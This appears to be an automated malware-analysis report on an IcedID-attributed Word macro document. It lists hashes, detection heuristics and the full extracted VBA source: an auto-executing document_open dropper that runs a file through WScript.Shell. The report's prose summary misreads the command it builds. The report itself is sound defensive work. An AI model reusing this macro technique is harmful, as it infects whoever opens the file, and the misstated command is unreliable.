IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 7fdc4ed18ad781c8…

MALICIOUS

Office (OOXML)

34.1 KB Created: 2021-11-09 09:54:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-23
MD5: cf9738579d44c5f2eb878f10d87bd87e SHA-1: f66f643ac6b057dabd3e4a1222f20d0b03b5c384 SHA-256: 7fdc4ed18ad781c8b9d6fc1b67ad122644a1e6f8921ec3054e5b9d366298c247
230 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample is a malicious OOXML document containing VBA macros. The `document_open` macro triggers the `karoline` subroutine, which saves the document with a name derived from the `keywords` function. This function obfuscates a string, and the `s` subroutine uses `WScript.Shell` to execute a command. The `s` subroutine constructs the command `exploite exploit ` by concatenating strings, which likely downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Downloader.IcedID' strongly suggests the IcedID family.

Heuristics 7

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Function s(girlLoadYou, nextLoadGirl)
Set dowDoorPow = CreateObject("wscript.shell")
dowDoorPow.exec "explo" & nextLoadGirl & "e" & nextLoadGirl & " " & girlLoadYou
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Function s(girlLoadYou, nextLoadGirl)
Set dowDoorPow = CreateObject("wscript.shell")
dowDoorPow.exec "explo" & nextLoadGirl & "e" & nextLoadGirl & " " & girlLoadYou
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Sub document_open()
main.karoline ("")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1011 bytes
SHA-256: ea0ac1b2189ca9ae38520c76d0173d79475fc6f5d24b0788fbc20251b968ae3d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
nextNextDoor = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(nextNextDoor)
ActiveDocument.Content.Find.Execute FindText:="x$", ReplaceWith:=dowLike, Replace:=wdReplaceAll
End Function
Public Function s(girlLoadYou, nextLoadGirl)
Set dowDoorPow = CreateObject("wscript.shell")
dowDoorPow.exec "explo" & nextLoadGirl & "e" & nextLoadGirl & " " & girlLoadYou
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(loadDoorKarol)
youLoveYou = ThisDocument.keywords
With ActiveDocument
.SaveAs2 FileName:=youLoveYou, FileFormat:=2
End With
Call ThisDocument.s(youLoveYou, "r")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 984260bf1136fd9cdc614b4e47fd5f37acac00120f475ba6e9e9b4b7ec73cbb5

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